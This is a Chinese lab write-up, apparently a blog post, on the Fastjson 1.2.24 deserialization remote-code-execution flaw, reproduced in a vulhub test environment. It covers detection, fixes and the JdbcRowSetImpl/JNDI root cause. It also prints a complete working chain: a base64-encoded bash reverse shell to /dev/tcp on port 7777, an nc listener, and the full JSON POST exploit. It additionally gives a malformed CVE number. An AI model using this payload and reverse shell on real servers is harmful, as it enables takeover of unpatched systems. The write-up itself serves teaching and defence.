• 【漏洞库】Fastjson_1.2.24_rce


    漏洞描述

    Fastjson 存在反序列化远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。

    此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

    漏洞编号

    CVE-2017-183494

    漏洞评级

    严重

    影响版本

    Fastjson 1.2.24 及之前的版本

    漏洞复现

    - 利用工具

    链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan 
    
    • 1

    - 漏洞环境

    vulhub的靶场环境:vulhub/fastjson/1.2.24-rce

    运行测试环境:

    docker compose up -d
    
    • 1

    环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

    image-20230908172805694

    - 漏洞扫描

    手工主动测试,利用非法json格式来尝试获取回显:

    如图我们可以看到,服务端返回报错内容中包含fastjson。

    - 漏洞验证

    借助DNSLog,让目标服务器访问,查看回显

    image-20230908172442160

    发现有回显,说明存在漏洞

    image-20230908172408509

    - 深度利用

    使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"
    
    • 1

    以下命令的解释:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1

    这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d进行解码,最后解码的结果再传递给bash -i进行执行。其中,{bash,-i}部分表示使用交互模式运行bash

    其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

    编码过程如图:

    image-20230908173611333

    执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:

    image-20230908173808090

    - GetShell

    kali开启监听:

    nc -lvvp 7777
    
    • 1

    发送请求包:

    POST / HTTP/1.1
    Host: 10.9.75.101:8090
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/json
    Content-Length: 161
    
    {
    
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://10.9.75.101:1389/zbcmsg",
            "autoCommit":true
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    image-20230908182322184

    发送之后,可以看到kali已经获得反弹Shell

    image-20230908182300176

    - EXP 编写

    这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C 参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:

    bash -i >& /dev/tcp/10.9.75.101/7777 0>&1
    
    • 1

    通过网站在线编码:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1

    其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

    编码过程如图:

    image-20230908173611333

    将以上编码结果交给 -C参数,再使用 -A参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

    漏洞挖掘

    1. 找到发送JSON序列化数据的接口

    2. 判断是否使用fastjson,利用非法json格式来尝试获取回显:

      如图我们可以看到,服务端返回报错内容中包含fastjson。

    3. 通过BP插件检测该fastjson版本是否存在漏洞

      https://github.com/zilong3033/fastjsonScan
      
      • 1

      下载插件导入BP

      抓包发送到插件进行检测:

      image-20230908171801509

      如下检测结果:存在漏洞

      image-20230908171700319

    - 指纹信息

    通过异常回显判断是否使用fastjson

    修复建议

    - 漏洞修复

    1. 升级Fastjson到最新版

    2. 使用安全产品过滤非法内容

      比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。
      
      • 1
    3. 更换其它序列化工具 Jackson/Gson

    漏洞原理

    不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:

    1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

    2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。

    3. 很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有 set方法 setAutoCommit,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:

    4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()

      image-20230716150420480

    5. 进入connect方法:

      image-20230716150603925

      我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。

      为什么下载我们的EXP后会自动执行呢?

      因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。

      如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。

      image-20230715133800679

  • 相关阅读:
    众多OA办公协同系统,企业应如何选择?
    docker-compose 安装 jekins
    神经网络最重要的是什么,什么神经网络最好用
    python内置模块typing 类型提示
    Vue——使用内置组件Keep-alive
    B站-后台开发岗
    【gcc 报错】/usr/bin/ld: this linker was not configured to use sysroots
    随想录一期 day4 [24. 两两交换链表中的节点|19. 删除链表的倒数第 N 个结点|面试题 02.07. 链表相交|142. 环形链表 II]
    攻防世界题目练习——Web引导模式(四)(持续更新)
    docker部署es+kibana
  • 原文地址:https://blog.csdn.net/weixin_46367450/article/details/132766724